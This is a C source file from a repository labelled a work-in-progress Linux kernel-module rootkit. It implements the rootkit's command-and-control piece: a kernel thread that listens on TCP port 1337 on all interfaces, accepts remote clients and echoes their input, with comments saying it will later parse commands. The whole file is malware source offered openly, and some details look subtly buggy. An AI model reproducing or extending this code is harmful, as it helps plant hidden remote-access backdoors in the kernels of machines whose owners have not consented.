mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

net_c2.c (4688B)

      1 #include <linux/delay.h> // For msleep
      2 #include <linux/in.h>
      3 #include <linux/init.h>
      4 #include <linux/ip.h>
      5 #include <linux/kernel.h>
      6 #include <linux/kthread.h>
      7 #include <linux/module.h>
      8 #include <linux/net.h>
      9 #include <linux/slab.h>
     10 #include <linux/socket.h>
     11 #include <linux/string.h>
     12 #include <linux/tcp.h>
     13 #include <linux/uaccess.h>
     14 #include <net/sock.h>
     15 
     16 #include "../includes/mina.h"
     17 
     18 static int c2_listen_port = 1337; // Default C2 port, now configurable
     19 
     20 static struct socket *listen_sock = NULL;
     21 static struct task_struct *c2_thread = NULL;
     22 
     23 void set_c2_listen_port(int port) {
     24     c2_listen_port = port;
     25     printk(KERN_INFO "[mina_c2] C2 listen port set to %d\n", c2_listen_port);
     26 }
     27 
     28 static int c2_worker_thread(void *data) {
     29     struct socket *sock = (struct socket *)data;
     30     struct socket *client_sock = NULL;
     31     int ret;
     32     char buffer[256];
     33 
     34     allow_signal(SIGKILL); // Allow termination
     35 
     36     // Listen for connections
     37     ret = kernel_listen(sock, C2_MAX_CONNECTIONS);
     38     if (ret < 0) {
     39         printk(KERN_ERR "[mina_c2] Listen failed: %d\n", ret);
     40         goto out;
     41     }
     42 
     43     printk(KERN_INFO "[mina_c2] Listening on port %d...\n", c2_listen_port);
     44 
     45     while (!kthread_should_stop()) {
     46         client_sock = NULL;
     47         ret = kernel_accept(sock, &client_sock, 0);
     48         if (ret < 0) {
     49             if (ret == -EINTR || ret == -EAGAIN) {
     50                 // Interrupted syscall, try again
     51                 msleep(100);
     52                 continue;
     53             }
     54             printk(KERN_ERR "[mina_c2] Accept failed: %d\n", ret);
     55             goto out;
     56         }
     57 
     58         printk(KERN_INFO "[mina_c2] Client connected!\n");
     59 
     60         while (!kthread_should_stop()) {
     61             memset(buffer, 0, sizeof(buffer));
     62             // In a real C2, this would parse commands from the buffer
     63             // For now, just echo it back.
     64             struct kvec iov = {.iov_base = (void *)buffer, .iov_len = sizeof(buffer) - 1};
     65             struct msghdr msg = {.msg_name = 0, .msg_namelen = 0, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0};
     66 
     67             ret = kernel_recvmsg(client_sock, &msg, &iov, 1, sizeof(buffer) - 1, 0);
     68             if (ret <= 0) { // Error or connection closed
     69                 printk(KERN_INFO "[mina_c2] Client disconnected or recv error: %d\n", ret);
     70                 break;
     71             }
     72             buffer[ret] = '\0';
     73             printk(KERN_INFO "[mina_c2] Received from client: %s\n", buffer);
     74 
     75             // Send response - for now, just echo
     76             iov_iter_kvec(&msg.msg_iter, ITER_IOVEC, &iov, 1, strlen(buffer));
     77             iov.iov_base = buffer;
     78             iov.iov_len = strlen(buffer);
     79 
     80             ret = kernel_sendmsg(client_sock, &msg, &iov, 1, strlen(buffer));
     81             if (ret < 0) {
     82                 printk(KERN_ERR "[mina_c2] Send failed: %d\n", ret);
     83                 break;
     84             }
     85         }
     86         sock_release(client_sock); // Release client socket
     87     }
     88 
     89 out:
     90     if (sock) {
     91         sock_release(sock); // Release listen socket
     92     }
     93     printk(KERN_INFO "[mina_c2] C2 worker thread stopped.\n");
     94     return 0;
     95 }
     96 
     97 int c2_init(void) {
     98     struct sockaddr_in s_addr;
     99     int ret;
    100 
    101     // Create a listening socket
    102     ret = sock_create_kern(&init_net, AF_INET, SOCK_STREAM, IPPROTO_TCP, &listen_sock);
    103     if (ret < 0) {
    104         printk(KERN_ERR "[mina_c2] Failed to create listen socket: %d\n", ret);
    105         return ret;
    106     }
    107 
    108     memset(&s_addr, 0, sizeof(s_addr));
    109     s_addr.sin_family = AF_INET;
    110     s_addr.sin_port = htons(c2_listen_port);
    111     s_addr.sin_addr.s_addr = INADDR_ANY; // Listen on all interfaces
    112 
    113     // Bind the socket
    114     ret = kernel_bind(listen_sock, (struct sockaddr *)&s_addr, sizeof(s_addr));
    115     if (ret < 0) {
    116         printk(KERN_ERR "[mina_c2] Failed to bind socket to port %d: %d\n", c2_listen_port, ret);
    117         sock_release(listen_sock);
    118         listen_sock = NULL;
    119         return ret;
    120     }
    121 
    122     // Start the C2 worker thread
    123     c2_thread = kthread_run(c2_worker_thread, (void *)listen_sock, "kc2_worker");
    124     if (IS_ERR(c2_thread)) {
    125         printk(KERN_ERR "[mina_c2] Failed to create C2 worker thread.\n");
    126         sock_release(listen_sock);
    127         listen_sock = NULL;
    128         c2_thread = NULL;
    129         return PTR_ERR(c2_thread);
    130     }
    131 
    132     printk(KERN_INFO "[mina_c2] C2 initialized and thread started.\n");
    133     return 0;
    134 }
    135 
    136 void c2_cleanup(void) {
    137     if (c2_thread) {
    138         kthread_stop(c2_thread);
    139         c2_thread = NULL;
    140     }
    141     if (listen_sock) {
    142         kernel_sock_shutdown(listen_sock, SHUT_RDWR); // Ensure socket is closed
    143         sock_release(listen_sock);
    144         listen_sock = NULL;
    145     }
    146     printk(KERN_INFO "[mina_c2] C2 cleaned up.\n");
    147 }